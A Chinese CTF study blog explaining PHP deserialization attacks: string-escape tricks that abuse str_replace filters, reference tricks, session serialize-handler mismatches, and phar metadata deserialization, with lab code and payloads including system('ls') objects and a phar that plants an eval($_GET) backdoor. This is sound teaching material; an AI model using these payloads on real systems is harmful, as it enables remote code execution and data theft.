一些反序列化的知识

1.字符串逃逸减少

感觉反序列化一道这里难度增加了不少

先讲点前置知识

在前面字符串没有任何问题的情况下(成员属性数量一致,长度一致,长度一致);}是反序列化结束符,后面的字符串不影响反序列化的结果

一般在数据先经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候才有可能存在反序列化属性逃逸

看个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class A{
public $v1='a';
public $v2="dazhuaang";
}
class B{
public $v="a\"";
}
echo serialize(new A());
$b = 'O:1:"A":1:{s:2:"v1";s:1:"a";s:2:"v2";N;}';
var_dump(unserialize($b)); //成员属性数量不对
$b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v3";N;}6668888;n;'; //v1和v3是通过反序列化获取的,v2是直接通过类里面获取的
var_dump(unserialize($b)); //没有影响
echo serialize(new B());

就是说你第2个dump出来的东西,虽说反序列化里面没有v2的,但是你dump出来就是有的,你虽然A类里面没有v3,但是你dump出来还是有v3的

1
2
3
4
5
6
7
8
9
10
11
12
13
O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";s:9:"dazhuaang";}D:\ctftool\phpstudy_pro\WWW\demo1\pop\字符串逃逸_字符减少.php:11:
bool(false)
D:\ctftool\phpstudy_pro\WWW\demo1\pop\字符串逃逸_字符减少.php:13:
class A#1 (3) {
public $v1 =>
string(1) "a"
public $v2 =>
string(9) "dazhuaang"
public $v3 =>
NULL
}
O:1:"B":1:{s:1:"v";s:2:"a"";}

这个就是运行结果,大概这个就是字符逃逸减少的原理了

开始字符逃逸:

1
2
3
4
5
6
7
8
<?php
class A{
public $v1 = "abcsystem()";
public $v2 = "123";
}
$data = serialize(new A());//data:"0:1:"A":2:{s:2: "v1";s:11: "abcsystem()";s:2:"v2";s:3:"123";}"
$data = str_replace("system()","",$data);
var_dump(unserialize($data)); //"0:1:"A":2:{s:2:"v1";s:11:"abc";s:2:"v2";s:3:"123";}"

运行之后这里的system()就被替换掉了,但是你前面的数字11是没有变单独,但是由于你反序列化的时候又是根据前面的这个数字来定后面的字符的,所以就会导致后面的字符被吃掉

“0:1:”A”:2:{s:2:”v1”;s:11:”abc”;s:2:”v2“;s:3:”123”;}”,如果是11个那么正好吃掉这些加粗的字符,那么后面的就可以通过修改字符串来补全格式,以达到字符逃逸的效果,但是一般做题中,这个不可能是3这个数字太小了

写个一般情况的

“0:1:”A”:2:{s:2:”v1”;s:11:”abc”;s:2:”v2”;s:xx:”;s:2:”v3”;N;},然后这里加粗的地方就是我们要吃掉的字符,数下来刚好20个,(先开始我也不知道为啥要把这个引号要吃掉,其实是因为我们后面要添加字符,你这里不吃的话后面可能会忘记添加),但是因为这里其实abc是固定的,是一开始就有的,所以说其实是17个字符,吃掉一个system()8个,加上abc最少要吃掉3个system(),我们一共要吃掉24+3也就是27个字符,多吃掉7个字符,所以还需要在v2里补充7个字符,加上1234567即可

“0:1:”A”:2:{s:2:”v1”;s:27:”abcsystem()system()system()”;s:2:”v2”;s:21:”1234567”;s:2:”v3”;N;}”;},变为

“0:1:”A”:2:{s:2:”v1”;s:27:”abc”;s:2:”v2”;s:21:”1234567“;s:2:”v3”;N;}”;}

看到这里你或许知道为什么要把那个双引号给吃掉了吧

因此我们来测试一下,当然这个N你可以换成任何内容

1
2
3
4
5
6
7
8
9
10
<?php
class A{
public $v1 = "abcsystem()system()system()";
public $v2 = '1234567";s:2:"v3";s:3:"123";}';

}
$data = serialize(new A());//data:"0:1:"A":2:{s:2: "v1";s:11: "abcsystem()";s:2:"v2";s:3:"123";}"
//echo $data;
$data = str_replace("system()","",$data);
var_dump(unserialize($data));

输出结果为

1
2
3
4
5
6
7
8
class A#1 (3) {
public $v1 =>
string(27) "abc";s:2:"v2";s:29:"1234567"
public $v2 =>
string(29) "1234567";s:2:"v3";s:3:"123";}"
public $v3 =>
string(3) "123"
}

字符串逃逸减少例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hk",$name);
return $name;
}
class test{
var $user;
var $pass;
var $vip = false ;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));

if ($profile->vip){
echo file_get_contents("flag.php");
}
?>

发现代码逻辑要求vip为真时显示flag,但是我们提交的里面又不允许我们将vip的值修改,且会将flag和php的字符换成hk,发现字符减少的地方,可以用字符逃逸,我们序列化一下看一下代码逻辑

1
2
3
4
5
6
7
8
9
<?php
class test
{
var $user="flag";
var $pass='xyxyxy';
var $vip = false;
}
echo serialize(new test());
//O:4:"test":3:{s:4:"user";s:4:"flag";s:4:"pass";s:6:"xyxyxy";s:3:"vip";b:0;}

flag被替换成hk,字符串减少,会吃掉后面的结构代码,

1
";s:4:"pass";s:xx:" 

这一段就是我们吃掉的代码,吃完这个之后,$pass的值xyxyxy可控,字符串逃逸;

目标代码

1
";s:3:"vip";b:1;}  

但是会有个新问题,你这么构造目标代码的话,那pass这个属性就没有了,那么成员属性就会少一个,但是你序列化的时候是有三个的,如果这么改的话就会返回false错误,所以我们的目标代码也要讲pass这个属性放进去

所以我们换成新的目标代码

1
";s:4:pass;s:6:"xyxyxy";s:3:"vip";b:1;}

我们吃掉的代码数下来共有19个字符,flag->hk 吃一次少两个字符,要吃够19位最少要吃10次,多吃一位在后面补,所以我们再次更新我们的目标代码

1
1";s:4:pass;s:6:"xyxyxy";s:3:"vip";b:1;}

所以我们也要10个flag

1
2
3
4
5
6
7
8
9
10
<?php
class test
{
var $user="flagflagflagflagflagflagflagflagflagflag";
var $pass='1";s:4:pass;s:6:"xyxyxy";s:3:"vip";b:1;}';
var $vip = false;
}
echo serialize(new test());
//O:4:"test":3:{s:4:"user";s:40:"flagflagflagflagflagflagflagflagflagflag";s:4:"pass";s:38:"1";s:4:pass;s:6:"xyxyxy";s:3:vip;b:1;}";s:3:"vip";b:0;}
//由于;}是反序列化结束符,所以后面的vip为0也不会放进去

最终我们狗造payload

1
2
user=flagflagflagflagflagflagflagflagflagflag&
pass=1";s:4:pass;s:6:"xyxyxy";s:3:"vip";b:1;}

image-20250426112132357

2.字符串逃逸增多

这里的前置知识跟字符串逃逸减少差不多就不多讲了,直接进入正题

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class A{
public $v1='ls';
public $v2='123';
}
$data = serialize(new A());
echo $data;
//O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";}
$data = str_replace("ls","pwd",$data);
echo $data;
//O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}
var_dump(unserialize($data));

字符增多会把末尾多出来的字符挤出,所以我们的思路就是把吐出来的字符构造成功能性代码

O:1:”A”:2:{s:2:”v1”;s:2:”pwd**”s:2:”v3”;s:3:”666”;}**”;s:2:”v2”;s:3:”123”;}

加粗的地方就是我们要吐出的代码,来使结构完整,并且;}可以把反序列化结束掉,不再管后面的原功能性代码

1
"s:2:"v3";s:3:"666";}

这个代码一共22位,一共ls转成pwd增加一位字符,所以需要22个ls转成pwd

所以我们令v1为

1
lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"xyx";}
1
2
3
4
5
6
7
8
9
10
<?php
class A{
public $v1='lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"xyx";}';
public $v2='123';
}
$data = serialize(new A());
echo $data;
$data = str_replace("ls","pwd",$data);
echo $data;
var_dump(unserialize($data));
1
2
3
4
5
6
7
8
9
O:1:"A":2:{s:2:"v1";s:66:"lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"xyx";}";s:2:"v2";s:3:"123";}O:1:"A":2:{s:2:"v1";s:66:"pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd";s:2:"v3";s:3:"xyx";}";s:2:"v2";s:3:"123";}D:\ctftool\phpstudy_pro\WWW\demo1\pop\字符串逃逸增多.php:13:
class A#1 (3) {
public $v1 =>
string(66) "pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd"
public $v2 =>
string(3) "123"
public $v3 =>
string(3) "xyx"
}

成功逃逸

字符逃逸增多例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));

if ($profile->pass=='escaping'){
echo file_get_contents("flag.php");
}
?>

代码逻辑是pass这个变量如果等于escaping就显示出flag,但是我们get的值是user不能直接改pass变量的地方,但是filter函数里面如果为flag 或php就换为hack,字符增加,存在字符逃逸增加漏洞,还是先测试一下

1
2
3
4
5
6
7
8
<?php
class test{
public $user='php';
public $pass='daydream';
}
$data=new test();
echo serialize($data);
//O:4:"test":2:{s:4:"user";s:3:"php";s:4:"pass";s:8:"daydream";}

php后面的我们是可以构造我们吐出来的代码,根据代码逻辑,可以构造出来我们想构造的代码

1
";s:4:"pass";s:8:"escaping";}

这个就是我们想构造的代码,一共有29个字符,所以我们需要29个php来完成,因此构造payload

1
user=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

image-20250426155052871

其实我也在想如果我们一次性可以吃两个字符,这个payload改咋构造,比如是xy换成hack的话,我先开始想着是用15个xy,然后多的字符再减的,但我发现你根本就减不了,因为你用15个xy的话,用什么办法都不能做到换完之后能让那个数字刚好和字符相等,因为你走不能减你逃逸的代码吧,如果又减少xy字符的话,那又换不了了,但是如果你是14个xy的话,那么缺少一个字符,就可以像这么加

1
1";s:4:"pass";s:8:"escaping";}

就像这样子,那么字符逃逸减少是同理的,你吃一个19的字符,如果你用9个xy的话,那么你逃逸的代码又改减谁呢,减谁都不行,只能吃10个xy,然后再补。

wakeup魔术方法绕过

https://blog.csdn.net/Jayjay___/article/details/132463913#:~:text=%E6%96%B9%E6%B3%95%E6%9C%89%E4%B8%A4%E7%A7%8D%EF%BC%8C%E5%88%A0%E9%99%A4%E6%9C%AB%E5%B0%BE%E7%9A%84%E8%8A%B1%E6%8B%AC%E5%8F%B7%E3%80%81%E6%95%B0%E7%BB%84%E5%AF%B9%E8%B1%A1%E5%8D%A0%E7%94%A8%E6%8C%87%E9%92%88%EF%BC%88%E6%94%B9%E6%95%B0%E5%AD%97%EF%BC%89%20r%20e%20s%20u%20l%20t%20%3D,%24result.%E2%80%9C%20%E5%85%B6%E4%BD%99GC%E5%9B%9E%E6%94%B6%E6%9C%BA%E5%88%B6%E5%88%A9%E7%94%A8%20%E4%B9%9F%E5%8F%AB%20php%20issue%239618%20%E7%89%88%E6%9C%AC%E6%9D%A1%E4%BB%B6%EF%BC%9A%20%2F%2F%E6%AD%A3%E5%B8%B8payload%20%E8%BF%99%E6%A0%B7%E5%86%85%E9%83%A8%E7%B1%BB%E7%9B%B4%E6%8E%A5%E5%9B%9E%E6%94%B6%EF%BC%8C%E5%A4%96%E9%83%A8%E7%B1%BB%E6%B2%A1%E4%BA%8B%EF%BC%8C%E5%8F%AF%E4%BB%A5%E7%9B%B4%E6%8E%A5%E4%B8%8D%E6%89%A7%E8%A1%8C%E5%86%85%E9%83%A8%E7%B1%BB%E7%9A%84wakeup%E3%80%82

看这一篇文章就够了,涵盖了很多方法

引用的利用方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
class just4fun {
var $enter;
var $secret;
}

if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
$pass=str_replace('*','\*',$pass);
}

$o = unserialize($pass);

if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$flag;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>

这题的过关逻辑是让enter==secret就可以了,secret又被赋值为*,所以目的就是让enter为 *就可以了,但是又有str_replace函数,所以我们不能直接给pass赋值为 *那有什么办法呢,这里就可以用引用的办法,让enter的地址也指向secret的地址。

1
2
3
4
5
6
7
8
<?php
class just4fun {
var $enter;
var $secret;
}
$a= new just4fun();
$a->enter =&$a->secret;
echo serialize($a);

image-20250503170844684

session反序列化漏洞介绍

session:

当session_start()被调用或者php.ini中session.auto_start为1时,php内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/temp)。

存取数据的格式有多种,常用的有三种

漏洞产生:写入格式和读取格式不一致

1.默认情况下用php格式储存

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
error_reporting(0);
session_start();
$_SESSION['benben'] = $_GET['ben'];
?>

?ben=dazhuang

benben |s:8:”dazhuang”;

php:键名 + 竖线 + 经过 serialize()函数序列化处理的值

2.声明session存储格式为php_serialize

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
?>

?ben=dazhuang&b=666

a:2:{s:6:”benben”;s:8:”dazhuang”;s:2:”b”;s:3:”666”;}

php_serialize:经过serialize()函数序列化处理的数组

3.声明session存储格式为php_binary

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
?>

?ben=dazhuang&b=666

6 benbens:8:”dazhuang”;1 bs:3:”666”;

php_binary:键名的长度对应的ascll字符 + 键名 + 经过serialize()函数经过序列化处理的值

4.漏洞简单示例

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
highlight_file(__FILE__);
error_reporting(0);

ini_set('session.serialize_handler','php');
session_start();

class D{
var $a;
function __destruct(){
eval($this->a);
}
}
1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>

上面那个发现漏洞的地方,有eval执行函数,但是没有提交的地方,下面那个函数则有提交的地方,但是要知道两个一个是php,一个是php_serialize,两者读取的方式不同,所以我们在get a的时候得加个东西 |

当网站序列化并存储session,当反序列化并读取的方式不同,就可能导致session,反序列话漏洞的产生

1
2
3
4
5
6
7
<?php
class D{
var $a="system('ls');";
}
$a = new D();
echo serialize($a);
//|O:1:"D":1:{s:1:"a";s:13:"system('ls');";}

?a=|O:1:”D”:1:{s:1:”a”;s:13:”system(‘ls’);”;}

到了php那边就会变为

a:1:{s:3:”ben”;s:xx:”|O:1:”D”:1:{s:1:”a”;s:13:”system(‘ls’);”;}“;}

由于php是键名 + 竖线 + 经过 serialize()函数序列化处理的值

所以那一部分就被反序列化了,所以我们在下面这里提交

1
a=|O:1:"D":1:{s:1:"a";s:13:"system('ls');";}

image-20250503181928820

然后去那边刷新

image-20250503182001556

session反序列化漏洞例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
/*hint.php*/
session_start();
class Flag{
public $name;
public $her;
function __wakeup(){
$this->her=md5(rand(1, 10000));
if ($this->name===$this->her){
include('flag.php');
echo $flag;
}
}
}
?>

发现不对啊咋没有提交的地方,然后这里代码给了提示,有hint.php的地方,于是我们访问

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
?>

发现是session,然后还是php_serialize就代表跟上个题差不多。这题过关的逻辑是her给的是1到10000的md5随机值,要求给name值,然后让他们两相等,这个很难做到,于是我们就用引用的方式

1
2
3
4
5
6
7
8
9
<?php
class Flag{
public $name;
public $her;

}
$a=new Flag();
$a->name=&$a->her;
echo serialize($a);

然后由于那个页面是php处理器的session,所以我们还要加一个竖线

1
a=?O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}

image-20250503220231492

phar反序列化原理

1.什么是phar:

JAR是开发java程序一个应用,包括所有的可执行,可访问的文件,都打包进了一个JAR文件里,使得部署过程十分简单

PHAR是php里类似于JAR的一种打包文件。对于PHP 5.3或更高版本,Phar后缀文件是默认开启支持的,可以直接使用他。

文件包含:phar伪协议,可读取.phar文件。

2.Phar结构

stub phar 文件标识,格为xxx; (头部信息)

manifest 压缩文件的属性等信息,以序列化存储;

contents 压缩文件的内容

signature 签名,放在文件末尾

phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化

3.Phar漏洞原理

调用phar伪协议,可读取.phar文件;

phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化。

phar需要PHP>=5.2在php.ini中将phar.readonly设为Off(注意去掉前面的分号)

4.使用条件

a.phar文件能上传到服务器;

b.要有可用反序列化魔术方法作为模板

c.要有文件操作函数。如file_exists(),fopen(),file_getcontents(),这些函数一般要满足两个条件,

该函数内部会识别并处理 phar:// 协议,

它为了完成任务需要读取 phar 的结构(manifest/header),也就会引起反序列化

这些函数能被用来攻击的 根本原因 是:

PHP 在访问 phar:// 路径时,会自动解析 phar 的元数据(metadata),而这一步使用的是 unserialize()

d.文件操作函数参数可控,且:/,phar等特殊字符没有被过滤

5.漏洞基本介绍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
error_reporting(0);
class Testobj
{
var $output="echo 'ok';";
function __destruct()
{
eval($this->output);
}
}
if(isset($_GET['filename']))
{
$filename=$_GET['filename'];
var_dump(file_exists($filename));
}
?>

发现有file_existshan有文件包含功能,可调用phar伪协议,读取test.phar,phar解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化,反序列化触发__destruct执行eval($this->output);所以我们构造phar文件时可以对output的值进行修改,所以我们要写一个phar文件,这里靶场帮我们写好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
class Testobj
{
var $output='';
}
@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new Testobj();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>

所以我们直接用a这个参数去攻击了

image-20250504005904025

还有 就是你改后缀名也可以的,不会影响伪协议的解析

phar反序列化例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
error_reporting(0);
class TestObject {
public function __destruct() {
include('flag.php');
echo $flag;
}
}
$filename = $_POST['file'];
if (isset($filename)){
echo md5_file($filename);
}
//upload.php
?>

然后看这个 md5_file函数,md5_file() 函数计算文件的 MD5 散列,是计算文件的,且参数可控,而且还有destruct魔法方法,就可以打phar了

由于我们不用定义类里面的成员,让他调用这个方法就有flag了,于是我们只需要在manifest 里面new一个对象就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestObject
{
}
@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new TestObject();
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>

得到test.phar文件,但是发现传不上去,估计是有黑名单白名单之类的,于是我们改成test.jpg

image-20250504103314028

然后用phar伪协议

image-20250504103404961